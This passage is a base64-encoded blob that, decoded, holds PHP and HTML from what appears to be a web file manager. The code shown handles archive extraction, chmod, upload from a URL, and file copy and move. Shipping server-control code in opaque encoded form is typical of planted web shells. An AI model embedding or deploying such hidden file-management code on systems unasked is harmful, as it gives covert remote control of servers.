Vsc2VpZiAoJGV4dCA9PSBcInRhclwiKSB7XG4gICAgICAgICAgICB0cnkge1xuICAgICAgICAgICAgICAgICRnemlwcGVyID0gbmV3IFBoYXJEYXRhKCR6aXBfcGF0aCk7XG4gICAgICAgICAgICAgICAgaWYgKEAkZ3ppcHBlci0+ZXh0cmFjdFRvKCRwYXRoLCBudWxsLCB0cnVlKSkge1xuICAgICAgICAgICAgICAgICAgICAkcmVzID0gdHJ1ZTtcbiAgICAgICAgICAgICAgICB9IGVsc2Uge1xuICAgICAgICAgICAgICAgICAgICAkcmVzID0gZmFsc2U7XG4gICAgICAgICAgICAgICAgfVxuICAgICAgICAgICAgfSBjYXRjaCAoRXhjZXB0aW9uICRlKSB7XG4gICAgICAgICAgICAgICAgJHJlcyA9IHRydWU7XG4gICAgICAgICAgICB9XG4gICAgICAgIH1cblxuICAgICAgICBpZiAoJHJlcykge1xuICAgICAgICAgICAgZm1fc2V0X21zZyhsbmcoJ0FyY2hpdmUgdW5wYWNrZWQnKSk7XG4gICAgICAgIH0gZWxzZSB7XG4gICAgICAgICAgICBmbV9zZXRfbXNnKGxuZygnQXJjaGl2ZSBub3QgdW5wYWNrZWQnKSwgJ2Vycm9yJyk7XG4gICAgICAgIH1cbiAgICB9IGVsc2Uge1xuICAgICAgICBmbV9zZXRfbXNnKGxuZygnRmlsZSBub3QgZm91bmQnKSwgJ2Vycm9yJyk7XG4gICAgfVxuICAgICRGTV9QQVRIID0gRk1fUEFUSDtcbiAgICBmbV9yZWRpcmVjdChGTV9TRUxGX1VSTCAuICc/cD0nIC4gdXJsZW5jb2RlKCRGTV9QQVRIKSk7XG59XG5cbmlmIChpc3NldCgkX1BPU1RbJ2NobW9kJ10sICRfUE9TVFsndG9rZW4nXSkgJiYgIUZNX1JFQURPTkxZICYmICFGTV9JU19XSU4pIHtcblxuICAgIGlmICghdmVyaWZ5VG9rZW4oJF9QT1NUWyd0b2tlbiddKSkge1xuICAgICAgICBmbV9zZXRfbXNnKGxuZyhcIkludmFsaWQgVG9rZW4uXCIpLCAnZXJyb3InKTtcbiAgICAgICAgZGllKFwiSW52YWxpZCBUb2tlbi5cIik7XG4gICAgfVxuXG4gICAgJHBhdGggPSBGTV9ST09UX1BBVEg7XG4gICAgaWYgKEZNX1BBVEggIT0gJycpIHtcbiAgICAgICAgJHBhdGggLj0gJ1wvJyAuIEZNX1BBVEg7XG4gICAgfVxuXG4gICAgJGZpbGUgPSAkX1BPU1RbJ2NobW9kJ107XG4gICAgJGZpbGUgPSBmbV9jbGVhbl9wYXRoKCRmaWxlKTtcbiAgICAkZmlsZSA9IHN0cl9yZXBsYWNlKCdcLycsICcnLCAkZmlsZSk7XG4gICAgaWYgKCRmaWxlID09ICcnIHx8ICghaXNfZmlsZSgkcGF0aCAuICdcLycgLiAkZmlsZSkgJiYgIWlzX2RpcigkcGF0aCAuICdcLycgLiAkZmlsZSkpKSB7XG4gICAgICAgIGZtX3NldF9tc2cobG5nKCdGaWxlIG5vdCBmb3VuZCcpLCAnZXJyb3InKTtcbiAgICAgICAgJEZNX1BBVEggPSBGTV9QQVRIO1xuICAgICAgICBmbV9yZWRpcmVjdChGTV9TRUxGX1VSTCAuICc/cD0nIC4gdXJsZW5jb2RlKCRGTV9QQVRIKSk7XG4gICAgfVxuXG4gICAgJG1vZGUgPSAwO1xuICAgIGlmICghZW1wdHkoJF9QT1NUWyd1ciddKSkge1xuICAgICAgICAkbW9kZSB8PSAwNDAwO1xuICAgIH1cbiAgICBpZiAoIWVtcHR5KCRfUE9TVFsndXcnXSkpIHtcbiAgICAgICAgJG1vZGUgfD0gMDIwMDtcbiAgICB9XG4gICAgaWYgKCFlbXB0eSgkX1BPU1RbJ3V4J10pKSB7XG4gICAgICAgICRtb2RlIHw9IDAxMDA7XG4gICAgfVxuICAgIGlmICghZW1wdHkoJF9QT1NUWydnciddKSkge1xuICAgICAgICAkbW9kZSB8PSAwMDQwO1xuICAgIH1cbiAgICBpZiAoIWVtcHR5KCRfUE9TVFsnZ3cnXSkpIHtcbiAgICAgICAgJG1vZGUgfD0gMDAyMDtcbiAgICB9XG4gICAgaWYgKCFlbXB0eSgkX1BPU1RbJ2d4J10pKSB7XG4gICAgICAgICRtb2RlIHw9IDAwMTA7XG4gICAgfVxuICAgIGlmICghZW1wdHkoJF9QT1NUWydvciddKSkge1xuICAgICAgICAkbW9kZSB8PSAwMDA0O1xuICAgIH1cbiAgICBpZiAoIWVtcHR5KCRfUE9TVFsnb3cnXSkpIHtcbiAgICAgICAgJG1vZGUgfD0gMDAwMjtcbiAgICB9XG4gICAgaWYgKCFlbXB0eSgkX1BPU1RbJ294J10pKSB7XG4gICAgICAgICRtb2RlIHw9IDAwMDE7XG4gICAgfVxuXG4gICAgaWYgKEBjaG1vZCgkcGF0aCAuICdcLycgLiAkZmlsZSwgJG1vZGUpKSB7XG4gICAgICAgIGZtX3NldF9tc2cobG5nKCdQZXJtaXNzaW9ucyBjaGFuZ2VkJykpO1xuICAgIH0gZWxzZSB7XG4gICAgICAgIGZtX3NldF9tc2cobG5nKCdQZXJtaXNzaW9ucyBub3QgY2hhbmdlZCcpLCAnZXJyb3InKTtcbiAgICB9XG5cbiAgICAkRk1fUEFUSCA9IEZNX1BBVEg7XG4gICAgZm1fcmVkaXJlY3QoRk1fU0VMRl9VUkwgLiAnP3A9JyAuIHVybGVuY29kZSgkRk1fUEFUSCkpO1xufVxuXG5cbiRwYXRoID0gRk1fUk9PVF9QQVRIO1xuaWYgKEZNX1BBVEggIT0gJycpIHtcbiAgICAkcGF0aCAuPSAnXC8nIC4gRk1fUEFUSDtcbn1cblxuaWYgKCFpc19kaXIoJHBhdGgpKSB7XG4gICAgZm1fcmVkaXJlY3QoRk1fU0VMRl9VUkwgLiAnP3A9Jyk7XG59XG5cbiRwYXJlbnQgPSBmbV9nZXRfcGFyZW50X3BhdGgoRk1fUEFUSCk7XG5cbiRvYmplY3RzID0gaXNfcmVhZGFibGUoJHBhdGgpID8gc2NhbmRpcigkcGF0aCkgOiBhcnJheSgpO1xuJGZvbGRlcnMgPSBhcnJheSgpO1xuJGZpbGVzID0gYXJyYXkoKTtcbiRjdXJyZW50X3BhdGggPSBhcnJheV9zbGljZShleHBsb2RlKFwiXC9cIiwgJHBhdGgpLCAtMSlbMF07XG5pZiAoaXNfYXJyYXkoJG9iamVjdHMpICYmIGZtX2lzX2V4Y2x1ZGVfaXRlbXMoJGN1cnJlbnRfcGF0aCwgJHBhdGgpKSB7XG4gICAgZm9yZWFjaCAoJG9iamVjdHMgYXMgJGZpbGUpIHtcbiAgICAgICAgaWYgKCRmaWxlID09ICcuJyB8fCAkZmlsZSA9PSAnLi4nKSB7XG4gICAgICAgICAgICBjb250aW51ZTtcbiAgICAgICAgfVxuICAgICAgICBpZiAoIUZNX1NIT1dfSElEREVOICYmIHN1YnN0cigkZmlsZSwgMCwgMSkgPT09ICcuJykge1xuICAgICAgICAgICAgY29udGludWU7XG4gICAgICAgIH1cbiAgICAgICAgJG5ld19wYXRoID0gJHBhdGggLiAnXC8nIC4gJGZpbGU7XG4gICAgICAgIGlmIChAaXNfZmlsZSgkbmV3X3BhdGgpICYmIGZtX2lzX2V4Y2x1ZGVfaXRlbXMoJGZpbGUsICRuZXdfcGF0aCkpIHtcbiAgICAgICAgICAgICRmaWxlc1tdID0gJGZpbGU7XG4gICAgICAgIH0gZWxzZWlmIChAaXNfZGlyKCRuZXdfcGF0aCkgJiYgJGZpbGUgIT0gJy4nICYmICRmaWxlICE9ICcuLicgJiYgZm1faXNfZXhjbHVkZV9pdGVtcygkZmlsZSwgJG5ld19wYXRoKSkge1xuICAgICAgICAgICAgJGZvbGRlcnNbXSA9ICRmaWxlO1xuICAgICAgICB9XG4gICAgfVxufVxuXG5pZiAoIWVtcHR5KCRmaWxlcykpIHtcbiAgICBuYXRjYXNlc29ydCgkZmlsZXMpO1xufVxuaWYgKCFlbXB0eSgkZm9sZGVycykpIHtcbiAgICBuYXRjYXNlc29ydCgkZm9sZGVycyk7XG59XG5cbmlmIChpc3NldCgkX0dFVFsndXBsb2FkJ10pICYmICFGTV9SRUFET05MWSkge1xuICAgIGZtX3Nob3dfaGVhZGVyKCk7XG4gICAgZm1fc2hvd19uYXZfcGF0aChGTV9QQVRIKTtcbiAgICBmdW5jdGlvbiBnZXRVcGxvYWRFeHQoKVxuICAgIHtcbiAgICAgICAgJGV4dEFyciA9IGV4cGxvZGUoJywnLCBGTV9VUExPQURfRVhURU5TSU9OKTtcbiAgICAgICAgaWYgKEZNX1VQTE9BRF9FWFRFTlNJT04gJiYgJGV4dEFycikge1xuICAgICAgICAgICAgYXJyYXlfd2FsaygkZXh0QXJyLCBmdW5jdGlvbiAoJiR4KSB7XG4gICAgICAgICAgICAgICAgJHggPSBcIi4keFwiO1xuICAgICAgICAgICAgfSk7XG4gICAgICAgICAgICByZXR1cm4gaW1wbG9kZSgnLCcsICRleHRBcnIpO1xuICAgICAgICB9XG4gICAgICAgIHJldHVybiAnJztcbiAgICB9XG4gICAgPz5cbiAgICA8P3BocCBwcmludF9leHRlcm5hbCgnY3NzLWRyb3B6b25lJyk7ID8+XG4gICAgPGRpdiBjbGFzcz1cInBhdGhcIj5cblxuICAgICAgICA8ZGl2IGNsYXNzPVwiY2FyZCBtYi0yIGZtLXVwbG9hZC13cmFwcGVyXCIgZGF0YS1icy10aGVtZT1cIjw/cGhwIGVjaG8gRk1fVEhFTUU7ID8+XCI+XG4gICAgICAgICAgICA8ZGl2IGNsYXNzPVwiY2FyZC1oZWFkZXJcIj5cbiAgICAgICAgICAgICAgICA8dWwgY2xhc3M9XCJuYXYgbmF2LXRhYnMgY2FyZC1oZWFkZXItdGFic1wiPlxuICAgICAgICAgICAgICAgICAgICA8bGkgY2xhc3M9XCJuYXYtaXRlbVwiPlxuICAgICAgICAgICAgICAgICAgICAgICAgPGEgY2xhc3M9XCJuYXYtbGluayBhY3RpdmVcIiBocmVmPVwiI2ZpbGVVcGxvYWRlclwiIGRhdGEtdGFyZ2V0PVwiI2ZpbGVVcGxvYWRlclwiPjxpIGNsYXNzPVwiZmEgZmEtYXJyb3ctY2lyY2xlLW8tdXBcIj48XC9pPiA8P3BocCBlY2hvIGxuZygnVXBsb2FkaW5nRmlsZXMnKSA/PjxcL2E+XG4gICAgICAgICAgICAgICAgICAgIDxcL2xpPlxuICAgICAgICAgICAgICAgICAgICA8bGkgY2xhc3M9XCJuYXYtaXRlbVwiPlxuICAgICAgICAgICAgICAgICAgICAgICAgPGEgY2xhc3M9XCJuYXYtbGlua1wiIGhyZWY9XCIjdXJsVXBsb2FkZXJcIiBjbGFzcz1cImpzLXVybC11cGxvYWRcIiBkYXRhLXRhcmdldD1cIiN1cmxVcGxvYWRlclwiPjxpIGNsYXNzPVwiZmEgZmEtbGlua1wiPjxcL2k+IDw/cGhwIGVjaG8gbG5nKCdVcGxvYWQgZnJvbSBVUkwnKSA/PjxcL2E+XG4gICAgICAgICAgICAgICAgICAgIDxcL2xpPlxuICAgICAgICAgICAgICAgIDxcL3VsPlxuICAgICAgICAgICAgPFwvZGl2PlxuICAgICAgICAgICAgPGRpdiBjbGFzcz1cImNhcmQtYm9keVwiPlxuICAgICAgICAgICAgICAgIDxwIGNsYXNzPVwiY2FyZC10ZXh0XCI+XG4gICAgICAgICAgICAgICAgICAgIDxhIGhyZWY9XCI/cD08P3BocCBlY2hvIEZNX1BBVEggPz5cIiBjbGFzcz1cImZsb2F0LXJpZ2h0XCI+PGkgY2xhc3M9XCJmYSBmYS1jaGV2cm9uLWNpcmNsZS1sZWZ0IGdvLWJhY2tcIj48XC9pPiA8P3BocCBlY2hvIGxuZygnQmFjaycpID8+PFwvYT5cbiAgICAgICAgICAgICAgICAgICAgPHN0cm9uZz48P3BocCBlY2hvIGxuZygnRGVzdGluYXRpb25Gb2xkZXInKSA/PjxcL3N0cm9uZz46IDw/cGhwIGVjaG8gZm1fZW5jKGZtX2NvbnZlcnRfd2luKEZNX1BBVEgpKSA/PlxuICAgICAgICAgICAgICAgIDxcL3A+XG5cbiAgICAgICAgICAgICAgICA8Zm9ybSBhY3Rpb249XCI8P3BocCBlY2hvIGh0bWxzcGVjaWFsY2hhcnMoRk1fU0VMRl9VUkwpIC4gJz9wPScgLiBmbV9lbmMoRk1fUEFUSCkgPz5cIiBjbGFzcz1cImRyb3B6b25lIGNhcmQtdGFicy1jb250YWluZXJcIiBpZD1cImZpbGVVcGxvYWRlclwiIGVuY3R5cGU9XCJtdWx0aXBhcnRcL2Zvcm0tZGF0YVwiPlxuICAgICAgICAgICAgICAgICAgICA8aW5wdXQgdHlwZT1cImhpZGRlblwiIG5hbWU9XCJwXCIgdmFsdWU9XCI8P3BocCBlY2hvIGZtX2VuYyhGTV9QQVRIKSA/PlwiPlxuICAgICAgICAgICAgICAgICAgICA8aW5wdXQgdHlwZT1cImhpZGRlblwiIG5hbWU9XCJmdWxscGF0aFwiIGlkPVwiZnVsbHBhdGhcIiB2YWx1ZT1cIjw/cGhwIGVjaG8gZm1fZW5jKEZNX1BBVEgpID8+XCI+XG4gICAgICAgICAgICAgICAgICAgIDxpbnB1dCB0eXBlPVwiaGlkZGVuXCIgbmFtZT1cInRva2VuXCIgdmFsdWU9XCI8P3BocCBlY2hvICRfU0VTU0lPTlsndG9rZW4nXTsgPz5cIj5cbiAgICAgICAgICAgICAgICAgICAgPGRpdiBjbGFzcz1cImZhbGxiYWNrXCI+XG4gICAgICAgICAgICAgICAgICAgICAgICA8aW5wdXQgbmFtZT1cImZpbGVcIiB0eXBlPVwiZmlsZVwiIG11bHRpcGxlIFwvPlxuICAgICAgICAgICAgICAgICAgICA8XC9kaXY+XG4gICAgICAgICAgICAgICAgPFwvZm9ybT5cblxuICAgICAgICAgICAgICAgIDxkaXYgY2xhc3M9XCJ1cGxvYWQtdXJsLXdyYXBwZXIgY2FyZC10YWJzLWNvbnRhaW5lciBoaWRkZW5cIiBpZD1cInVybFVwbG9hZGVyXCI+XG4gICAgICAgICAgICAgICAgICAgIDxmb3JtIGlkPVwianMtZm9ybS11cmwtdXBsb2FkXCIgY2xhc3M9XCJyb3cgcm93LWNvbHMtbGctYXV0byBnLTMgYWxpZ24taXRlbXMtY2VudGVyXCIgb25zdWJtaXQ9XCJyZXR1cm4gdXBsb2FkX2Zyb21fdXJsKHRoaXMpO1wiIG1ldGhvZD1cIlBPU1RcIiBhY3Rpb249XCJcIj5cbiAgICAgICAgICAgICAgICAgICAgICAgIDxpbnB1dCB0eXBlPVwiaGlkZGVuXCIgbmFtZT1cInR5cGVcIiB2YWx1ZT1cInVwbG9hZFwiIGFyaWEtbGFiZWw9XCJoaWRkZW5cIiBhcmlhLWhpZGRlbj1cInRydWVcIj5cbiAgICAgICAgICAgICAgICAgICAgICAgIDxpbnB1dCB0eXBlPVwidXJsXCIgcGxhY2Vob2xkZXI9XCJVUkxcIiBuYW1lPVwidXBsb2FkdXJsXCIgcmVxdWlyZWQgY2xhc3M9XCJmb3JtLWNvbnRyb2xcIiBzdHlsZT1cIndpZHRoOiA4MCVcIj5cbiAgICAgICAgICAgICAgICAgICAgICAgIDxpbnB1dCB0eXBlPVwiaGlkZGVuXCIgbmFtZT1cInRva2VuXCIgdmFsdWU9XCI8P3BocCBlY2hvICRfU0VTU0lPTlsndG9rZW4nXTsgPz5cIj5cbiAgICAgICAgICAgICAgICAgICAgICAgIDxidXR0b24gdHlwZT1cInN1Ym1pdFwiIGNsYXNzPVwiYnRuIGJ0bi1wcmltYXJ5IG1zLTNcIj48P3BocCBlY2hvIGxuZygnVXBsb2FkJykgPz48XC9idXR0b24+XG4gICAgICAgICAgICAgICAgICAgICAgICA8ZGl2IGNsYXNzPVwibGRzLWZhY2Vib29rXCI+XG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgPGRpdj48XC9kaXY+XG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgPGRpdj48XC9kaXY+XG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgPGRpdj48XC9kaXY+XG4gICAgICAgICAgICAgICAgICAgICAgICA8XC9kaXY+XG4gICAgICAgICAgICAgICAgICAgIDxcL2Zvcm0+XG4gICAgICAgICAgICAgICAgICAgIDxkaXYgaWQ9XCJqcy11cmwtdXBsb2FkX19saXN0XCIgY2xhc3M9XCJjb2wtOSBtdC0zXCI+PFwvZGl2PlxuICAgICAgICAgICAgICAgIDxcL2Rpdj5cbiAgICAgICAgICAgIDxcL2Rpdj5cbiAgICAgICAgPFwvZGl2PlxuICAgIDxcL2Rpdj5cbiAgICA8P3BocCBwcmludF9leHRlcm5hbCgnanMtZHJvcHpvbmUnKTsgPz5cbiAgICA8c2NyaXB0PlxuICAgICAgICBEcm9wem9uZS5vcHRpb25zLmZpbGVVcGxvYWRlciA9IHtcbiAgICAgICAgICAgIGNodW5raW5nOiB0cnVlLFxuICAgICAgICAgICAgY2h1bmtTaXplOiA8P3BocCBlY2hvIFVQTE9BRF9DSFVOS19TSVpFOyA/PixcbiAgICAgICAgICAgIGZvcmNlQ2h1bmtpbmc6IHRydWUsXG4gICAgICAgICAgICByZXRyeUNodW5rczogdHJ1ZSxcbiAgICAgICAgICAgIHJldHJ5Q2h1bmtzTGltaXQ6IDMsXG4gICAgICAgICAgICBwYXJhbGxlbFVwbG9hZHM6IDEsXG4gICAgICAgICAgICBwYXJhbGxlbENodW5rVXBsb2FkczogZmFsc2UsXG4gICAgICAgICAgICB0aW1lb3V0OiAxMjAwMDAsXG4gICAgICAgICAgICBtYXhGaWxlc2l6ZTogXCI8P3BocCBlY2hvIE1BWF9VUExPQURfU0laRTsgPz5cIixcbiAgICAgICAgICAgIGFjY2VwdGVkRmlsZXM6IFwiPD9waHAgZWNobyBnZXRVcGxvYWRFeHQoKSA/PlwiLFxuICAgICAgICAgICAgaW5pdDogZnVuY3Rpb24oKSB7XG4gICAgICAgICAgICAgICAgdGhpcy5vbihcInNlbmRpbmdcIiwgZnVuY3Rpb24oZmlsZSwgeGhyLCBmb3JtRGF0YSkge1xuICAgICAgICAgICAgICAgICAgICBsZXQgX3BhdGggPSAoZmlsZS5mdWxsUGF0aCkgPyBmaWxlLmZ1bGxQYXRoIDogZmlsZS5uYW1lO1xuICAgICAgICAgICAgICAgICAgICBkb2N1bWVudC5nZXRFbGVtZW50QnlJZChcImZ1bGxwYXRoXCIpLnZhbHVlID0gX3BhdGg7XG4gICAgICAgICAgICAgICAgICAgIHhoci5vbnRpbWVvdXQgPSAoZnVuY3Rpb24oKSB7XG4gICAgICAgICAgICAgICAgICAgICAgICB0b2FzdCgnRXJyb3I6IFNlcnZlciBUaW1lb3V0Jyk7XG4gICAgICAgICAgICAgICAgICAgIH0pO1xuICAgICAgICAgICAgICAgIH0pLm9uKFwic3VjY2Vzc1wiLCBmdW5jdGlvbihyZXMpIHtcbiAgICAgICAgICAgICAgICAgICAgdHJ5IHtcbiAgICAgICAgICAgICAgICAgICAgICAgIGxldCBfcmVzcG9uc2UgPSBKU09OLnBhcnNlKHJlcy54aHIucmVzcG9uc2UpO1xuXG4gICAgICAgICAgICAgICAgICAgICAgICBpZiAoX3Jlc3BvbnNlLnN0YXR1cyA9PSBcImVycm9yXCIpIHtcbiAgICAgICAgICAgICAgICAgICAgICAgICAgICB0b2FzdChfcmVzcG9uc2UuaW5mbyk7XG4gICAgICAgICAgICAgICAgICAgICAgICB9XG4gICAgICAgICAgICAgICAgICAgIH0gY2F0Y2ggKGUpIHtcbiAgICAgICAgICAgICAgICAgICAgICAgIHRvYXN0KFwiRXJyb3I6IEludmFsaWQgSlNPTiByZXNwb25zZVwiKTtcbiAgICAgICAgICAgICAgICAgICAgfVxuICAgICAgICAgICAgICAgIH0pLm9uKFwiZXJyb3JcIiwgZnVuY3Rpb24oZmlsZSwgcmVzcG9uc2UpIHtcbiAgICAgICAgICAgICAgICAgICAgdG9hc3QocmVzcG9uc2UpO1xuICAgICAgICAgICAgICAgIH0pO1xuICAgICAgICAgICAgfVxuICAgICAgICB9XG4gICAgPFwvc2NyaXB0PlxuPD9waHBcbiAgICBmbV9zaG93X2Zvb3RlcigpO1xuICAgIGV4aXQ7XG59XG5cbmlmIChpc3NldCgkX1BPU1RbJ2NvcHknXSkgJiYgIUZNX1JFQURPTkxZKSB7XG4gICAgJGNvcHlfZmlsZXMgPSBpc3NldCgkX1BPU1RbJ2ZpbGUnXSkgPyAkX1BPU1RbJ2ZpbGUnXSA6IG51bGw7XG4gICAgaWYgKCFpc19hcnJheSgkY29weV9maWxlcykgfHwgZW1wdHkoJGNvcHlfZmlsZXMpKSB7XG4gICAgICAgIGZtX3NldF9tc2cobG5nKCdOb3RoaW5nIHNlbGVjdGVkJyksICdhbGVydCcpO1xuICAgICAgICAkRk1fUEFUSCA9IEZNX1BBVEg7XG4gICAgICAgIGZtX3JlZGlyZWN0KEZNX1NFTEZfVVJMIC4gJz9wPScgLiB1cmxlbmNvZGUoJEZNX1BBVEgpKTtcbiAgICB9XG5cbiAgICBmbV9zaG93X2hlYWRlcigpO1xuICAgIGZtX3Nob3dfbmF2X3BhdGgoRk1fUEFUSCk7XG4/PlxuICAgIDxkaXYgY2xhc3M9XCJwYXRoXCI+XG4gICAgICAgIDxkaXYgY2xhc3M9XCJjYXJkXCIgZGF0YS1icy10aGVtZT1cIjw/cGhwIGVjaG8gRk1fVEhFTUU7ID8+XCI+XG4gICAgICAgICAgICA8ZGl2IGNsYXNzPVwiY2FyZC1oZWFkZXJcIj5cbiAgICAgICAgICAgICAgICA8aDY+PD9waHAgZWNobyBsbmcoJ0NvcHlpbmcnKSA/PjxcL2g2PlxuICAgICAgICAgICAgPFwvZGl2PlxuICAgICAgICAgICAgPGRpdiBjbGFzcz1cImNhcmQtYm9keVwiPlxuICAgICAgICAgICAgICAgIDxmb3JtIGFjdGlvbj1cIlwiIG1ldGhvZD1cInBvc3RcIj5cbiAgICAgICAgICAgICAgICAgICAgPGlucHV0IHR5cGU9XCJoaWRkZW5cIiBuYW1lPVwicFwiIHZhbHVlPVwiPD9waHAgZWNobyBmbV9lbmMoRk1fUEFUSCkgPz5cIj5cbiAgICAgICAgICAgICAgICAgICAgPGlucHV0IHR5cGU9XCJoaWRkZW5cIiBuYW1lPVwiZmluaXNoXCIgdmFsdWU9XCIxXCI+XG4gICAgICAgICAgICAgICAgICAgIDw/cGhwXG4gICAgICAgICAgICAgICAgICAgIGZvcmVhY2ggKCRjb3B5X2ZpbGVzIGFzICRjZikge1xuICAgICAgICAgICAgICAgICAgICAgICAgZWNobyAnPGlucHV0IHR5cGU9XCJoaWRkZW5cIiBuYW1lPVwiZmlsZVtdXCIgdmFsdWU9XCInIC4gZm1fZW5jKCRjZikgLiAnXCI+JyAuIFBIUF9FT0w7XG4gICAgICAgICAgICAgICAgICAgIH1cbiAgICAgICAgICAgICAgICAgICAgPz5cbiAgICAgICAgICAgICAgICAgICAgPHAgY2xhc3M9XCJicmVhay13b3JkXCI+PHN0cm9uZz48P3BocCBlY2hvIGxuZygnRmlsZXMnKSA/PjxcL3N0cm9uZz46IDxiPjw/cGhwIGVjaG8gaW1wbG9kZSgnPFwvYj4sIDxiPicsICRjb3B5X2ZpbGVzKSA/PjxcL2I+PFwvcD5cbiAgICAgICAgICAgICAgICAgICAgPHAgY2xhc3M9XCJicmVhay13b3JkXCI+PHN0cm9uZz48P3BocCBlY2hvIGxuZygnU291cmNlRm9sZGVyJykgPz48XC9zdHJvbmc+OiA8P3BocCBlY2hvIGZtX2VuYyhmbV9jb252ZXJ0X3dpbihGTV9ST09UX1BBVEggLiAnXC8nIC4gRk1fUEFUSCkpID8+PGJyPlxuICAgICAgICAgICAgICAgICAgICAgICAgPGxhYmVsIGZvcj1cImlucF9jb3B5X3RvXCI+PHN0cm9uZz48P3BocCBlY2hvIGxuZygnRGVzdGluYXRpb25Gb2xkZXInKSA/PjxcL3N0cm9uZz46PFwvbGFiZWw+XG4gICAgICAgICAgICAgICAgICAgICAgICA8P3BocCBlY2hvIEZNX1JPT1RfUEFUSCA/PlwvPGlucHV0IHR5cGU9XCJ0ZXh0XCIgbmFtZT1cImNvcHlfdG9cIiBpZD1cImlucF9jb3B5X3RvXCIgdmFsdWU9XCI8P3BocCBlY2hvIGZtX2VuYyhGTV9QQVRIKSA/PlwiPlxuICAgICAgICAgICAgICAgICAgICA8XC9wPlxuICAgICAgICAgICAgICAgICAgICA8cCBjbGFzcz1cImN1c3RvbS1jaGVja2JveCBjdXN0b20tY29udHJvbFwiPjxpbnB1dCB0eXBlPVwiY2hlY2tib3hcIiBuYW1lPVwibW92ZVwiIHZhbHVlPVwiMVwiIGlkPVwianMtbW92ZS1maWxlc1wiIGNsYXNzPVwiY3VzdG9tLWNvbnRyb2wtaW5wdXRcIj5cbiAgICAgICAgICAgICAgICAgICAgICAgIDxsYWJlbCBmb3I9XCJqcy1tb3ZlLWZpbGVzXCIgY2xhc3M9XCJjdXN0b20tY29udHJvbC1sYWJlbCBtcy0yXCI+PD9waHAgZWNobyBsbmcoJ01vdmUnKSA/PjxcL2xhYmVsPlxuICAgICAgICAgICAgICAgICAgICA8XC9wPlxuICAgICAgICAgICAgICAgICAgICA8cD5cbiAgICAgICAgICAgICAgICAgICAgICAgIDxiPjxhIGhyZWY9XCI/cD08P3BocCBlY2hvIHVybGVuY29kZShGTV9QQVRIKSA/PlwiIGNsYXNzPVwiYnRuIGJ0bi1vdXRsaW5lLWRhbmdlclwiPjxpIGNsYXNzPVwiZmEgZmEtdGltZXMtY2lyY2xlXCI+PFwvaT4gPD9waHAgZWNobyBsbmcoJ0NhbmNlbCcpID8+PFwvYT48XC9iPiZuYnNwO1xuICAgICAgICAgICAgICAgICAgICAgICAgPGlucHV0IHR5cGU9XCJoaWRkZW5cIiBuYW1lPVwidG9rZW5cIiB2YWx1ZT1cIjw/cGhwIGVjaG8gJF9TRVNTSU9OWyd0b2tlbiddOyA/PlwiPlxuICAgICAgICAgICAgICAgICAgICAgICAgPGJ1dHRvbiB0eXBlPVwic3VibWl0XCIgY2xhc3M9XCJidG4gYnRuLXN1Y2Nlc3NcIj48aSBjbGFzcz1cImZhIGZhLWNoZWNrLWNpcmNsZVwiPjxcL2k+IDw/cGhwIGVjaG8gbG5nKCdDb3B5JykgPz48XC9idXR0b24+XG4gICAgICAgICAgICAgICAgICAgIDxcL3A+XG4gICAgICAgICAgICAgICAgPFwvZm9ybT5cbiAgICAgICAgICAgIDxcL2Rpdj5cbiAgICAgICAgPFwvZGl2PlxuICAgIDxcL2Rpdj5cbjw/cGhwXG4gICAgZm1fc2hvd19mb290ZXIoKTtcbiAgICBleGl0O1xufVxuXG5pZiAoaXNzZXQoJF9HRVRbJ2NvcHknXSkgJiYgIWlzc2V0KCRfR0VUWydmaW5pc2gnXSkgJiYgIUZNX1JFQURPTkxZKSB7XG4gICAgJGNvcHkgPSAkX0dFVFsnY29weSddO1xuICAgICRjb3B5ID0gZm1fY2xlYW5fcGF0aCgkY29weSk7XG4gICAgaWYgKCRjb3B5ID09ICcnIHx8ICFmaWxlX2V4aXN0cyhGTV9ST09UX1BBVEggLiAnXC8nIC4gJGNvcHkpKSB7XG4gICAgICAgIGZtX3NldF9tc2cobG5nKCdGaWxlIG5vdCBmb3VuZCcpLCAnZXJyb3InKTtcbiAgICAgICAgJEZNX1BBVEggPSBGTV9QQVRIO1xuICAgICAgICBmbV9yZWRpcmVjdChGTV9TRUxGX1VSTCAuICc/cD0nIC4gdXJsZW5jb2RlKCRGTV9QQVRIKSk7XG4gICAgfVxuXG4gICAgZm1fc2hvd19oZWFkZXIoKTtcbiAgICBmbV9zaG93X25hdl9wYXRoKEZNX1BBVEgpO1xuPz5cbiAgICA8ZGl2IGNsYXNzPVwicGF0aFwiPlxuICAgICAgICA8cD48Yj5Db3B5aW5nPFwvYj48XC9wPlxuICAgICAgICA8cCBjbGFzcz1cImJyZWFrLXdvcmRcIj5cbiAgICAgICAgICAgIDxzdHJvbmc+U291cmNlIHBhdGg6PFwvc3Ryb25nPiA8P3BocCBlY2hvIGZtX2VuYyhmbV9jb252ZXJ0X3dpbihGTV9ST09UX1BBVEggLiAnXC8nIC4gJGNvcHkpKSA/Pjxicj5cbiAgICAgICAgICAgIDxzdHJvbmc+RGVzdGluYXRpb24gZm9sZGVyOjxcL3N0cm9uZz4gPD9waHAgZWNobyBmbV9lbmMoZm1fY29udmVydF93aW4oRk1fUk9PVF9QQVRIIC4gJ1wvJyAuIEZNX1BBVEgpKSA/PlxuICAgICAgICA8XC9wPlxuICAgICAgICA8cD5cbiAgICAgICAgICAgIDxiPjxhIGhyZWY9XCI/cD08P3BocCBlY2hvIHVybGVuY29kZShGTV9QQVRIKSA/PiZhbXA7Y29weT08P3BocCBlY2hvIHVybGVuY29kZSgkY29weSkgPz4mYW1wO2ZpbmlzaD0xXCI+PGkgY2xhc3M9XCJmYSBmYS1jaGVjay1jaXJjbGVcIj48XC9pPiBDb3B5PFwvYT48XC9iPiAmbmJzcDtcbiAgICAgICAgICAgIDxiPjxhIGhyZWY9XCI/cD08P3BocCBlY2hvIHVybGVuY29kZShGTV9QQVRIKSA/PiZhbXA7Y29weT08P3BocCBlY2hvIHVybGVuY29kZSgkY29weSkgPz4mYW1wO2ZpbmlzaD0xJmFtcDttb3ZlPTFcIj48aSBjbGFzcz1cImZhIGZhLWNoZWNrLWNpcmNsZVwiPjxcL2k+IE1vdmU8XC9hPjxcL2I+ICZuYnNwO1xuICAgICAgICAgICAgPGI+PGEgaHJlZj1cIj9wPTw/cGhwIGVjaG8gdXJsZW5jb2RlKEZNX1BBVEgpID8+XCIgY2xhc3M9XCJ0ZXh0LWRhbmdlclwiPjxpIGNsYXNzPVwi